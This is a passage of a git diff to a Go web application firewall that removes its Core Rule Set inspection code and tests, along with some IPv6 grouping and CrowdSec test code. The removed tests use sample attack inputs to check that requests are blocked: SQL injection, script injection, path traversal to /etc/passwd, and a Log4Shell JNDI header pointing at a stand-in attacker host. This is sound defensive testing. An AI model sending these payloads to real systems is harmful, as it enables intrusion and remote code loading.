decision.Scenario, notes)
rq.line.BanExpires = banExpires(ban)
if made {
rq.alertBan(ban)
}
}
// wouldAlertBan reports whether the alert for a ban on netblock for cause
// made at now would be sent. In observe mode the ban the request would
// have made is worked out only then, at most once per
@@ -363,7 +276,7 @@ func (h *handler) netblock(client netip.Addr) netip.Prefix {
return netip.PrefixFrom(addr, h.config.BanScopeV4Prefix).Masked()
}
return h.clientGroup(addr)
return clientGroup(addr)
}
// banExpires is when ban ends, as the log line gives it: a time, or
internal/proxy/bans_test.go
+2 -11
View File
@@ -7,7 +7,6 @@ import (
"maps"
"net/http"
"net/netip"
"reflect"
"slices"
"sync"
"testing"
@@ -166,14 +165,9 @@ func TestBanCoversTheClientsNetblock(t *testing.T) {
[]string{otherClient, exempt}, []string{"203.0.112.9", allowed},
},
{
"an IPv6 /64, by default", nil, "2001:db8:5::1",
"an IPv6 /64", nil, "2001:db8:5::1",
[]string{"2001:db8:5::ffff:1"}, []string{"2001:db8:5:1::1"},
},
{
"the IPv6 netblock SWWAF_IPV6_GROUP_PREFIX sets",
map[string]string{ipv6GroupPrefix: "48"}, "2001:db8:7::1",
[]string{"2001:db8:7:ffff::1"}, []string{"2001:db8:8::1"},
},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
@@ -205,7 +199,6 @@ func TestBannedClientIsRefusedBeforeItsCountryIsLookedUp(t *testing.T) {
geojsURL, asked := startGeoJS(t)
s, _, _ := startWithClock(t, geojsURL, map[string]string{
lookupTimeout: "1h",
rateLimitPerMinute: "1",
banScopeV4Prefix: "24",
deniedCountries: "kp",
@@ -244,7 +237,6 @@ func TestBanResponseAnswersEveryRefusalButTheSizeLimits(t *testing.T) {
geojsURL, _ := startGeoJS(t)
env := map[string]string{
lookupTimeout: "1h",
rateLimitPerMinute: "1",
denyNets: denied,
deniedCountries: "kp",
@@ -270,7 +262,6 @@ func TestBanNotes(t *testing.T) {
geojsURL, _ := startGeoJS(t)
s, clk, server := startWithClock(t, geojsURL, map[string]string{
lookupTimeout: "1h",
rateLimitPerMinute: "1",
deniedCountries: "kp",
})
@@ -316,7 +307,7 @@ func TestBanNotes(t *testing.T) {
ledger := server.Ledger
got := ledger.Bans(netblock)
if len(got) != 1 || !reflect.DeepEqual(got[0], want) {
if len(got) != 1 || got[0] != want {
t.Fatalf("bans\n%+v\nwant\n%+v", got, want)
}
internal/proxy/bodies.go
+1 -12
View File
@@ -21,9 +21,6 @@ type requestBody struct {
// SWWAF_REQUEST_MAX_BYTES.
body io.ReadCloser
rq *request
// readByCoreRuleSet is what the Core Rule Set read of the body before
// the request went to the app, and Read gives first.
readByCoreRuleSet []byte
// waiting is true while a Read waits for the client to send more.
waiting atomic.Bool
// received is true once the client has sent the whole body.
@@ -32,16 +29,8 @@ type requestBody struct {
bytes atomic.Int64
}
// Read reads from the client's body, after what the Core Rule Set read of
// it, which has been counted already.
// Read reads from the client's body.
func (b *requestBody) Read(p []byte) (int, error) {
if len(b.readByCoreRuleSet) > 0 {
n := copy(p, b.readByCoreRuleSet)
b.readByCoreRuleSet = b.readByCoreRuleSet[n:]
return n, nil
}
b.waiting.Store(true)
n, err := b.body.Read(p)
b.waiting.Store(false)
internal/proxy/bytelimits_test.go
+3 -2
View File
@@ -6,7 +6,6 @@ import (
"net"
"net/http"
"net/netip"
"reflect"
"strconv"
"strings"
"testing"
@@ -282,6 +281,8 @@ func TestByteLimitsLeaveOutWhatTheRateLimitsLeaveOut(t *testing.T) {
func TestByteLimitsOffCountTheBytesAndBanNoOne(t *testing.T) {
t.Parallel()
const off = "off"
s, _ := startWithAnswers(t, map[string]string{
bytesLimitPerMinute: off, bytesLimitPerHour: off, bytesLimitPerDay: off,
})
@@ -336,7 +337,7 @@ func TestBanForABrokenByteLimitHasItsNotesAndItsAlert(t *testing.T) {
}
got := server.Ledger.Bans(netblock)
if len(got) != 1 || !reflect.DeepEqual(got[0], want) {
if len(got) != 1 || got[0] != want {
t.Fatalf("bans\n%+v\nwant\n%+v", got, want)
}
internal/proxy/client.go
+7 -5
View File
@@ -76,14 +76,16 @@ func scheme(r *http.Request, peerTrusted bool) string {
return proto
}
// ipv6GroupPrefix is the length of the IPv6 netblock that is one client.
const ipv6GroupPrefix = 64
// clientGroup is the client a request is counted toward: its IPv4
// address, or its IPv6 group, the netblock its IPv6 address is in of the
// length SWWAF_IPV6_GROUP_PREFIX sets, a /64 by default, since one abuser
// usually holds a whole /64. An IPv4 address in IPv6 form counts as IPv4.
func (h *handler) clientGroup(addr netip.Addr) netip.Prefix {
// address, or the /64 its IPv6 address is in, since one abuser usually
// holds a whole /64. An IPv4 address in IPv6 form counts as IPv4.
func clientGroup(addr netip.Addr) netip.Prefix {
addr = addr.Unmap()
if addr.Is6() {
return netip.PrefixFrom(addr, h.config.IPv6GroupPrefix).Masked()
return netip.PrefixFrom(addr, ipv6GroupPrefix).Masked()
}
return netip.PrefixFrom(addr, addr.BitLen())
internal/proxy/coreruleset.go
-124
View File
@@ -1,124 +0,0 @@
package proxy
import (
"errors"
"net/http"
"os"
"time"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/config"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/waf"
)
// checkCoreRuleSet inspects the request with the Core Rule Set, unless
// SWWAF_WAF_MODE is off or SWWAF_WAF_EXEMPT_PATHS exempts its path, as
// pathExempt decides, and notes the rules it matched and its score in the
// log line, and the rules in the metrics. A score at or over
// SWWAF_WAF_ANOMALY_THRESHOLD is a match: it raises the waf_block alert,
// and in block mode refuses the request, which is an offence its client's
// history counts, and so returns ActionWAFBlocked. It returns "" for a
// request it does not refuse, and for one whose body meets a size or time
// limit while the Core Rule Set reads it, which it notes nothing of.
func (rq *request) checkCoreRuleSet() string {
cfg := rq.h.config
if cfg.WAFMode == config.WAFModeOff || pathExempt(rq.in.URL, cfg.WAFExemptPaths) {
return ""
}
start := time.Now()
result := rq.inspect()
if rq.refused.Load() != nil {
return "" // the refusal for that limit, which check returns
}
rq.line.DurationWAF = new(requestlog.Milliseconds(time.Since(start)))
rq.line.WAFRuleIDs = result.RuleIDs
rq.line.WAFScore = &result.Score
for _, id := range result.RuleIDs {
rq.h.metrics.WAFMatched(cfg.WAFMode, id)
}
threshold := cfg.WAFAnomalyThreshold
if threshold == 0 || result.Score < threshold {
return ""
}
rq.alertWAFBlock(result)
if cfg.WAFMode == config.WAFModeDetect {
return ""
}
rq.wafBlocked = true
return requestlog.ActionWAFBlocked
}
// inspect runs the Core Rule Set on the request, which reads the part of
// its body it inspects within SWWAF_CLIENT_REQUEST_TIMEOUT, and keeps that
// part for the app. A client that runs out of time is refused with 408
// here, and a body over SWWAF_REQUEST_MAX_BYTES with 413 as it is read;
// check returns the refusal. A body that breaks off for any other reason
// is passed on as far as it came, and the request to the app fails there,
// as it would have without the Core Rule Set.
func (rq *request) inspect() waf.Result {
if rq.body == nil {
// Nothing is read of no body, so nothing can go wrong reading it.
result, _, _ := rq.h.coreRuleSet.Inspect(rq.in, rq.client, http.NoBody)
return result
}
_ = rq.rc.SetReadDeadline(rq.clientRequestDeadline())
result, read, err := rq.h.coreRuleSet.Inspect(rq.in, rq.client, rq.body)
// The timeouts that run while the request goes to the app take over.
_ = rq.rc.SetReadDeadline(time.Time{})
rq.body.readByCoreRuleSet = read
if errors.Is(err, os.ErrDeadlineExceeded) {
rq.refuse(refusal{
status: http.StatusRequestTimeout,
action: requestlog.ActionTimedOut,
limit: "SWWAF_CLIENT_REQUEST_TIMEOUT",
})
}
return result
}
// alertWAFBlock raises the waf_block alert for the request, which the Core
// Rule Set scored at result, at or over SWWAF_WAF_ANOMALY_THRESHOLD. Its
// detail gives the rule ids, the score, the method and the path with the
// query, and, for a request that is not refused for it, the mode: detect,
// or observe in observe mode.
func (rq *request) alertWAFBlock(result waf.Result) {
detail := map[string]any{
"rule_ids": result.RuleIDs,
"score": result.Score,
"method": rq.in.Method,
"path": rq.in.URL.RequestURI(),
}
switch {
case rq.h.config.WAFMode == config.WAFModeDetect:
detail["mode"] = config.WAFModeDetect
case rq.h.config.Observe:
detail["mode"] = "observe"
}
rq.h.alerts.Raise(alerts.Alert{
Event: alerts.EventWAFBlock,
Client: rq.client,
Netblock: rq.h.clientGroup(rq.client),
ASN: rq.line.ASN,
ASName: rq.line.ASName,
Country: rq.line.Country,
Reason: "scored by the Core Rule Set at or over SWWAF_WAF_ANOMALY_THRESHOLD",
Detail: detail,
})
}
internal/proxy/coreruleset_test.go
-590
View File
@@ -1,590 +0,0 @@
package proxy_test
import (
"io"
"net/http"
"net/netip"
"slices"
"strconv"
"strings"
"testing"
"time"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// The Core Rule Set's settings the tests set, besides SWWAF_WAF_MODE, and
// its two modes that inspect requests.
const (
wafAnomalyThreshold = "SWWAF_WAF_ANOMALY_THRESHOLD"
wafDisabledRules = "SWWAF_WAF_DISABLED_RULES"
wafExemptPaths = "SWWAF_WAF_EXEMPT_PATHS"
wafBodyLimit = "SWWAF_WAF_BODY_LIMIT"
block = "block"
detect = "detect"
)
// formData is the type of a form's body.
const formData = "application/x-www-form-urlencoded"
// sqlInjection asks for / with an SQL injection in its query, which only
// the Core Rule Set's rule 942100 matches, with a score of 5, the default
// SWWAF_WAF_ANOMALY_THRESHOLD.
const sqlInjection = "/?id=1'%20OR%20'1'='1"
// wantWAF checks the request log line's waf_rule_ids and waf_score, and
// that it has duration_waf, or with no score, that it has none of the
// three: the Core Rule Set did not inspect the request.
func wantWAF(t *testing.T, line logLine, score *int, ruleIDs ...int) {
t.Helper()
if !slices.Equal(line.WAFRuleIDs, ruleIDs) {
t.Errorf("log line has waf_rule_ids %v, want %v", line.WAFRuleIDs, ruleIDs)
}
switch {
case score == nil && (line.WAFScore != nil || line.DurationWAF != nil):
t.Errorf("log line has waf_score %v and duration_waf %v, want neither",
line.fields["waf_score"], line.fields["duration_waf"])
case score != nil && (line.WAFScore == nil || *line.WAFScore != *score):
t.Errorf("log line has waf_score %v, want %d", line.fields["waf_score"], *score)
case score != nil && line.DurationWAF == nil:
t.Error("log line has no duration_waf")
}
}
func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode(t *testing.T) {
t.Parallel()
for _, attack := range []struct {
name, path, header string
ruleIDs []int
score int
}{
{"SQL injection in the query", sqlInjection, "", []int{942100}, 5},
{
"script in the query", "/?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E", "",
[]int{941100, 941110, 941160, 941390}, 20,
},
{
"path traversal in the path", "/files/../../etc/passwd", "",
[]int{930100, 930110}, 10,
},
{
"Log4Shell in a header", "/", "X-Api-Version: ${jndi:ldap://attacker.example/a}",
[]int{944150}, 5,
},
{"scanner's user agent", "/", "User-Agent: sqlmap/1.7", []int{913100}, 5},
{
// Coraza keeps the first 1000 query parameters.
"SQL injection after 1000 query parameters",
"/?" + strings.Repeat("a=1&", 1000) + "id=1'%20OR%20'1'='1", "",
[]int{900300}, 5,
},
} {
t.Run(attack.name, func(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
mode, action string
status int
}{
{block, requestlog.ActionWAFBlocked, http.StatusForbidden},
{detect, requestlog.ActionForward, http.StatusOK},
} {
s, _, _ := startWithClock(t, "", map[string]string{wafMode: tc.mode})
line, _ := s.requestWithHeader(client, attack.path, attack.header,
tc.status, tc.action)
wantWAF(t, line, &attack.score, attack.ruleIDs...)
}
})
}
}
func TestOrdinaryRequestIsInspectedAndPassed(t *testing.T) {
t.Parallel()
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
line := s.request(client, "/owner/repo/src/branch/main/README.md?display=source",
http.StatusOK, requestlog.ActionForward)
wantWAF(t, line, new(0))
}
func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
t *testing.T,
) {
t.Parallel()
const allowed = "192.0.2.60" // in SWWAF_ALLOW_NETS
s, _, _ := startWithClock(t, "", map[string]string{
wafMode: block,
wafExemptPaths: "/api/",
allowNets: allowed,
rulesDir: writeRules(t, testRules),
})
// A client in SWWAF_ALLOW_NETS, and a path SWWAF_WAF_EXEMPT_PATHS
// exempts, are not inspected.
line := s.request(allowed, sqlInjection, http.StatusOK, requestlog.ActionForward)
wantWAF(t, line, nil)
line = s.request(client, "/api/v1/repos?id=1'%20OR%20'1'='1", http.StatusOK,
requestlog.ActionForward)
wantWAF(t, line, nil)
// The prefix is matched as rate limit exempt paths are: a path that
// goes up and out of it is inspected.
line = s.request(client, "/api/../?id=1'%20OR%20'1'='1", http.StatusForbidden,
requestlog.ActionWAFBlocked)
wantWAF(t, line, new(25), 930100, 930110, 942100)
// A request a rule file refuses is not inspected.
line = s.request(otherClient, "/blocked?id=1'%20OR%20'1'='1", http.StatusForbidden,
requestlog.ActionRuleBlocked)
wantWAF(t, line, nil)
// With SWWAF_WAF_MODE off, no request is.
s, _, _ = startWithClock(t, "", map[string]string{wafMode: off})
line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
wantWAF(t, line, nil)
}
func TestAnomalyThreshold(t *testing.T) {
t.Parallel()
// A score under the threshold, or with the threshold off, is logged,
// and refuses nothing.
for _, threshold := range []string{"6", off} {
s, _, _ := startWithClock(t, "", map[string]string{
wafMode: block, wafAnomalyThreshold: threshold,
})
line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
wantWAF(t, line, new(5), 942100)
}
s, _, _ := startWithClock(t, "", map[string]string{
wafMode: block, wafAnomalyThreshold: "5",
})
s.request(client, sqlInjection, http.StatusForbidden, requestlog.ActionWAFBlocked)
}
func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
t.Parallel()
for _, request := range []struct {
name, method, path, header string
// ruleIDs are the rules that match the request with none
// switched off.
ruleIDs []int
}{
{
"git push", http.MethodPost, "/owner/repo.git/git-receive-pack",
"Content-Type: application/x-git-receive-pack-request\r\nContent-Length: 4",
[]int{920420, 930130},
},
{
"package upload without a type", http.MethodPut,
"/api/packages/owner/generic/tool/1.0/tool.tar.gz", "Content-Length: 4",
[]int{920340},
},
{
"a shell script", http.MethodGet, "/owner/repo/raw/branch/main/install.sh", "",
[]int{920440},
},
{
"an editor's settings", http.MethodGet,
"/owner/repo/src/branch/main/.zed/settings.json", "", []int{930140},
},
} {
t.Run(request.name, func(t *testing.T) {
t.Parallel()
body := ""
if request.method != http.MethodGet {
body = "push"
}
// By default, the rules are switched off.
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
line, _ := s.requestWithBody(request.method, client, request.path,
request.header, body, http.StatusOK, requestlog.ActionForward)
wantWAF(t, line, new(0))
// A list given replaces the default.
s, _, _ = startWithClock(t, "", map[string]string{
wafMode: block, wafDisabledRules: "942100",
})
score := 5 * len(request.ruleIDs)
line, _ = s.requestWithBody(request.method, client, request.path,
request.header, body, http.StatusForbidden, requestlog.ActionWAFBlocked)
wantWAF(t, line, &score, request.ruleIDs...)
// And switches off the rules it lists.
line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
wantWAF(t, line, new(0))
})
}
}
func TestAttackInAFormBodyIsRefusedOnlyWhileBodiesAreRead(t *testing.T) {
t.Parallel()
const body = "id=1'%20OR%20'1'='1"
header := "Content-Type: " + formData + "\r\nContent-Length: " +
strconv.Itoa(len(body))
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
line, _ := s.requestWithBody(http.MethodPost, client, "/", header, body,
http.StatusOK, requestlog.ActionForward)
wantWAF(t, line, new(0))
s, _, _ = startWithClock(t, "", map[string]string{
wafMode: block, wafBodyLimit: sizeLimitSetting,
})
line, _ = s.requestWithBody(http.MethodPost, client, "/", header, body,
http.StatusForbidden, requestlog.ActionWAFBlocked)
wantWAF(t, line, new(5), 942100)
}
func TestBodiesReachTheAppAsSentWhileBodiesAreRead(t *testing.T) {
t.Parallel()
// The app answers with the body it was sent, once it has the whole of
// it: Go's server reads no more of a body once the answer has begun.
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
body, _ := io.ReadAll(r.Body)
_, _ = w.Write(body)
})
addr, out := startProxy(t, app.URL, map[string]string{
wafMode: block, wafBodyLimit: sizeLimitSetting,
})
longer := "a=" + strings.Repeat("b", 64*sizeLimit)
for i, tc := range []struct {
name, contentType, body string
// announced sends the body's length in Content-Length; otherwise
// the body is sent in chunks with no length given.
announced bool
}{
{"form data within the limit", formData, "a=b", true},
{"form data longer than the limit", formData, longer, true},
{"form data longer than the limit, not announced", formData, longer, false},
{
"JSON larger than the limit", "application/json",
`{"a":"` + strings.Repeat("b", 2*sizeLimit) + `"}`, true,
},
{
"a binary body", "application/octet-stream",
strings.Repeat("\x00\xff", sizeLimit), true,
},
} {
// A reader whose length the client cannot tell is sent in chunks.
var body io.Reader = strings.NewReader(tc.body)
if !tc.announced {
body = io.MultiReader(body)
}
req := newRequest(t, http.MethodPost, addr, "/", body)
req.Header.Set("Content-Type", tc.contentType)
got := do(t, req)
if got.status != http.StatusOK || string(got.body) != tc.body {
t.Errorf("%s: the app got %d bytes, answered %d, want the %d sent, 200",
tc.name, len(got.body), got.status, len(tc.body))
}
line := out.requestLines(t, i+1)[i]
wantLine(t, line, http.StatusOK, requestlog.ActionForward)
if line.RequestBytes != int64(len(tc.body)) {
t.Errorf("%s: log line has request_bytes %d, want %d", tc.name,
line.RequestBytes, len(tc.body))
}
}
}
func TestFormBodyLongerThanTheLimitStreamsOnToTheApp(t *testing.T) {
t.Parallel()
const (
first = "a=" // and twice the limit of b's, then the rest
rest = 64 * sizeLimit
)
// past is closed once the app has received twice what the Core Rule
// Set reads, and got is the length of the whole body it received.
past := make(chan struct{})
got := make(chan int64, 1)
app := startApp(t, func(_ http.ResponseWriter, r *http.Request) {
n, _ := io.CopyN(io.Discard, r.Body, 2*sizeLimit)
close(past)
m, _ := io.Copy(io.Discard, r.Body)
got <- n + m
})
addr, out := startProxy(t, app.URL, map[string]string{
wafMode: block, wafBodyLimit: sizeLimitSetting,
})
// The client sends the rest only once the app has received the first
// part: were smallwebwaf to hold the body until the end, it would
// never come.
body, sender := io.Pipe()
go func() {
_, _ = io.WriteString(sender, first+strings.Repeat("b", 2*sizeLimit))
select {
case <-past:
case <-time.After(waitLimit):
t.Error("the app got no more than the Core Rule Set reads " +
"before the whole body was sent")
_ = sender.CloseWithError(io.ErrUnexpectedEOF)
return
}
_, _ = io.WriteString(sender, strings.Repeat("b", rest))
_ = sender.Close()
}()
req := newRequest(t, http.MethodPost, addr, "/", body)
req.Header.Set("Content-Type", formData)
wantStatus(t, do(t, req), http.StatusOK)
want := int64(len(first) + 2*sizeLimit + rest)
if n := <-got; n != want {
t.Errorf("the app got %d bytes, want %d", n, want)
}
wantLine(t, out.requestLine(t), http.StatusOK, requestlog.ActionForward)
}
func TestClientTooSlowToSendWhatTheCoreRuleSetReads(t *testing.T) {
t.Parallel()
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
addr, out := startProxy(t, app.URL, map[string]string{
wafMode: block, wafBodyLimit: sizeLimitSetting,
clientRequestTimeout: shortTimeoutSetting, metricsToken: token,
})
conn := dial(t, addr)
send(t, conn, "POST /comment HTTP/1.1\r\nHost: app\r\nContent-Type: "+formData+
"\r\nContent-Length: 100\r\n\r\ncontent=the first bytes")
wantStatus(t, readResponse(t, conn), http.StatusRequestTimeout)
line := out.requestLine(t)
wantLine(t, line, http.StatusRequestTimeout, requestlog.ActionTimedOut)
wantNotSentToTheApp(t, line)
wantLimitHits(t, addr, clientRequestTimeout, 1)
}
func TestBodyOverTheSizeLimitWhileTheCoreRuleSetReadsIt(t *testing.T) {
t.Parallel()
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
addr, out := startProxy(t, app.URL, map[string]string{
wafMode: block, wafBodyLimit: "4K",
requestMaxBytes: sizeLimitSetting, metricsToken: token,
})
// Sent in chunks, its length is not announced, and is found to be over
// the limit as the Core Rule Set reads it.
body := io.MultiReader(strings.NewReader("a=" + strings.Repeat("b", 2*sizeLimit)))
req := newRequest(t, http.MethodPost, addr, "/", body)
req.Header.Set("Content-Type", formData)
wantStatus(t, do(t, req), http.StatusRequestEntityTooLarge)
line := out.requestLine(t)
wantLine(t, line, http.StatusRequestEntityTooLarge, requestlog.ActionTooLarge)
wantNotSentToTheApp(t, line)
wantLimitHits(t, addr, requestMaxBytes, 1)
}
// wantNotSentToTheApp checks that the request of line was not sent to the
// app at all.
func wantNotSentToTheApp(t *testing.T, line logLine) {
t.Helper()
_, sent := line.fields["duration_upstream_total"]
if sent {
t.Error("log line has duration_upstream_total, for a request sent to the app")
}
}
func TestResponsesAreNotInspected(t *testing.T) {
t.Parallel()
// A raw shell script, and an SQL error, which the Core Rule Set's rules
// for responses take for a leak.
const page = "#!/bin/sh\nrm -rf /tmp/build\n" +
"You have an error in your SQL syntax; check the manual that " +
"corresponds to your MySQL server version\n"
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
_, _ = w.Write([]byte(page))
})
addr, out := startProxy(t, app.URL, map[string]string{wafMode: block})
got := get(t, addr, "/owner/repo/raw/branch/main/build.sh")
if got.status != http.StatusOK || string(got.body) != page {
t.Errorf("answered %d with %q, want 200 with the app's page", got.status, got.body)
}
wantLine(t, out.requestLine(t), http.StatusOK, requestlog.ActionForward)
}
func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(t *testing.T) {
t.Parallel()
const scraper = "192.0.2.200"
s, _, server := startWithClock(t, "", map[string]string{
wafMode: block, errorBurstThreshold: "2", metricsToken: token,
})
for range 2 {
s.request(client, sqlInjection, http.StatusForbidden, requestlog.ActionWAFBlocked)
}
// The third refusal in a minute breaks the error burst, and bans the
// client.
line := s.request(client, sqlInjection, http.StatusForbidden,
requestlog.ActionWAFBlocked)
if line.LimitHit != requestlog.LimitHitErrorBurst ||
line.Offence != requestlog.OffenceLimit {
t.Errorf("log line has limit_hit %q and offence %q, want error_burst and limit",
line.LimitHit, line.Offence)
}
s.get(client, http.StatusForbidden, requestlog.ActionBanned)
want := ratelimit.Offences{Limit: 1, WAFBlocked: 3}
if offences := historyOf(t, server, client).Offences; offences != want {
t.Errorf("history counts the offences %+v, want %+v", offences, want)
}
metrics := s.scrape(scraper)
wantMetric(t, metrics,
`smallwebwaf_waf_matches_total{instance="app",mode="block",rule_id="942100"}`, 3)
wantMetric(t, metrics,
`smallwebwaf_offences_total{instance="app",kind="waf_blocked"}`, 3)
wantMetric(t, metrics, `smallwebwaf_requests_total{action="waf_blocked",`+
`instance="app",status_class="4xx"}`, 3)
}
func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(t *testing.T) {
t.Parallel()
const scraper = "192.0.2.200"
s, _, server := startWithClock(t, "", map[string]string{
wafMode: detect, errorBurstThreshold: "2", metricsToken: token,
})
for range 3 {
s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
}
s.get(client, http.StatusOK, requestlog.ActionForward)
offences := historyOf(t, server, client).Offences
if offences != (ratelimit.Offences{}) {
t.Errorf("history counts the offences %+v, want none", offences)
}
metrics := s.scrape(scraper)
wantMetric(t, metrics,
`smallwebwaf_waf_matches_total{instance="app",mode="detect",rule_id="942100"}`, 3)
wantNoSeries(t, metrics,
`smallwebwaf_offences_total{instance="app",kind="waf_blocked"}`)
}
func TestObserveModeLogsWhatTheCoreRuleSetWouldDo(t *testing.T) {
t.Parallel()
s, _, server := startWithClock(t, "", map[string]string{wafMode: block, mode: observe})
line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
wantWouldAction(t, line, requestlog.ActionWAFBlocked)
wantWAF(t, line, new(5), 942100)
// It is an offence as in enforce mode.
want := ratelimit.Offences{WAFBlocked: 1}
if offences := historyOf(t, server, client).Offences; offences != want {
t.Errorf("history counts the offences %+v, want %+v", offences, want)
}
}
func TestCoreRuleSetMatchRaisesTheWAFBlockAlert(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
name string
env map[string]string
// status and action are what the request is answered and logged
// with, and alertMode what the alert's detail gives as mode, if
// anything.
status int
action, alertMode string
}{
{
"block", map[string]string{wafMode: block},
http.StatusForbidden, requestlog.ActionWAFBlocked, "",
},
{
"detect", map[string]string{wafMode: detect},
http.StatusOK, requestlog.ActionForward, detect,
},
{
"block in observe mode", map[string]string{wafMode: block, mode: observe},
http.StatusOK, requestlog.ActionForward, observe,
},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
s, clk, _, queue := startWithAlerts(t, tc.env)
// The second is a repeat, which the cooldown holds back, and an
// ordinary request raises none.
for range 2 {
s.request(client, sqlInjection, tc.status, tc.action)
}
s.get(client, http.StatusOK, requestlog.ActionForward)
detail := map[string]any{
"rule_ids": []int{942100}, "score": 5, "method": http.MethodGet,
"path": sqlInjection,
}
if tc.alertMode != "" {
detail["mode"] = tc.alertMode
}
wantAlerts(t, queue, alerts.Alert{
Instance: alertInstance,
Time: clk.Now(),
Event: alerts.EventWAFBlock,
Client: netip.MustParseAddr(client),
Netblock: netip.MustParsePrefix(client + "/32"),
Reason: "scored by the Core Rule Set at or over SWWAF_WAF_ANOMALY_THRESHOLD",
Detail: detail,
})
if queue.Suppressed() != 1 {
t.Errorf("%d alerts held back, want the repeat", queue.Suppressed())
}
})
}
}
internal/proxy/countries_test.go
+3 -9
View File
@@ -52,7 +52,7 @@ func TestCountryLists(t *testing.T) {
calls.Add(1)
})
geojsURL, _ := startGeoJS(t)
env := map[string]string{trustedProxies: trustLocalhost, lookupTimeout: "1h"}
env := map[string]string{trustedProxies: trustLocalhost}
maps.Copy(env, tc.env)
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env)
@@ -101,7 +101,6 @@ func TestCountryRefusalComesBeforeTheBody(t *testing.T) {
geojsURL, _ := startGeoJS(t)
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{
trustedProxies: trustLocalhost,
lookupTimeout: "1h",
deniedCountries: "kp",
})
@@ -148,7 +147,6 @@ func TestRequestRefusedByCountryIsNotCounted(t *testing.T) {
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
addr, _ := startProxyWithGeoJS(t, app.URL, geojs.URL, map[string]string{
trustedProxies: trustLocalhost,
lookupTimeout: "1h",
allowedCountries: "de",
rateLimitPerMinute: "1",
})
@@ -196,7 +194,7 @@ func TestPrivateAddressIsNeverLookedUp(t *testing.T) {
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
geojsURL, asked := startGeoJS(t)
env := map[string]string{trustedProxies: trustLocalhost, lookupTimeout: "1h"}
env := map[string]string{trustedProxies: trustLocalhost}
maps.Copy(env, tc.env)
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env)
@@ -282,11 +280,7 @@ func TestExclusiveListRefusesAPrivateAddressUnlessAllowed(t *testing.T) {
// startGeoJS starts a stand-in for GeoJS, which places fromDE and fromKP,
// each in an AS of its own, and no other address. It returns its URL, and
// what returns the addresses it has been asked about. A test that needs
// the stand-in to be asked or to answer sets SWWAF_LOOKUP_TIMEOUT to an
// hour, whether or not a request waits for the answer: on the default
// second, a hold-up of the test process can abandon the request to the
// stand-in, and leave the client unknown.
// what returns the addresses it has been asked about.
func startGeoJS(t *testing.T) (string, func() []string) {
t.Helper()
internal/proxy/crowdsec_test.go
-181
View File
@@ -1,181 +0,0 @@
package proxy_test
import (
"net/http"
"net/netip"
"reflect"
"testing"
"time"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/proxy"
"sneak.berlin/go/smallwebwaf/internal/reputation"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// The CrowdSec settings, and the tests' engine, which is never asked: each
// test puts in the copy of its decision list, at decisionsURL, that it
// needs, as reputation.json would at start.
const (
crowdSecURL = "SWWAF_CROWDSEC_LAPI_URL"
crowdSecKey = "SWWAF_CROWDSEC_LAPI_KEY"
lapi = "http://crowdsec.example:8080"
decisionsURL = lapi + "/v1/decisions"
bouncerKey = "crowdsec-key-0123456789abcdef"
)
func TestClientTheCrowdSecDecisionListListsIsBannedUntilTheDecisionEnds(t *testing.T) {
t.Parallel()
s, clk, server, queue := startWithAlerts(t, map[string]string{
crowdSecURL: lapi, crowdSecKey: bouncerKey, metricsToken: token,
})
// client had four hours left on its decision as the engine answered.
fetched := clk.Now()
loadDecisions(t, server, fetched, `[{"duration": "4h0m0s", `+
`"scenario": "crowdsecurity/ssh-bf", "scope": "Ip", "type": "ban", `+
`"value": "`+client+`"}]`)
expires := requestlog.FormatTime(fetched.Add(4 * time.Hour))
// Its first request is refused, and bans it until the decision ends.
line := s.get(client, http.StatusForbidden, requestlog.ActionBanned)
wantReputation(t, line, decisionsURL)
if line.BanExpires != expires {
t.Errorf("log line has ban_expires %q, want %s", line.BanExpires, expires)
}
listed := []bans.ReputationHit{{Source: decisionsURL}}
held := server.Ledger.Bans(netip.MustParsePrefix(client + "/32"))
if len(held) != 1 || held[0].Cause != bans.CauseCrowdSec ||
!held[0].Start.Equal(fetched) || !held[0].Expires.Equal(fetched.Add(4*time.Hour)) ||
held[0].Reason != "CrowdSec's decision for crowdsecurity/ssh-bf" ||
!reflect.DeepEqual(held[0].Notes.Reputation, listed) ||
held[0].Notes.Request.Path != "/" || held[0].Notes.Requests != 1 {
t.Fatalf("bans %+v, want one for crowdsec of four hours, with the list and "+
"the request in its notes", held)
}
// The listing raises a reputation_hit alert, and the ban its own.
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
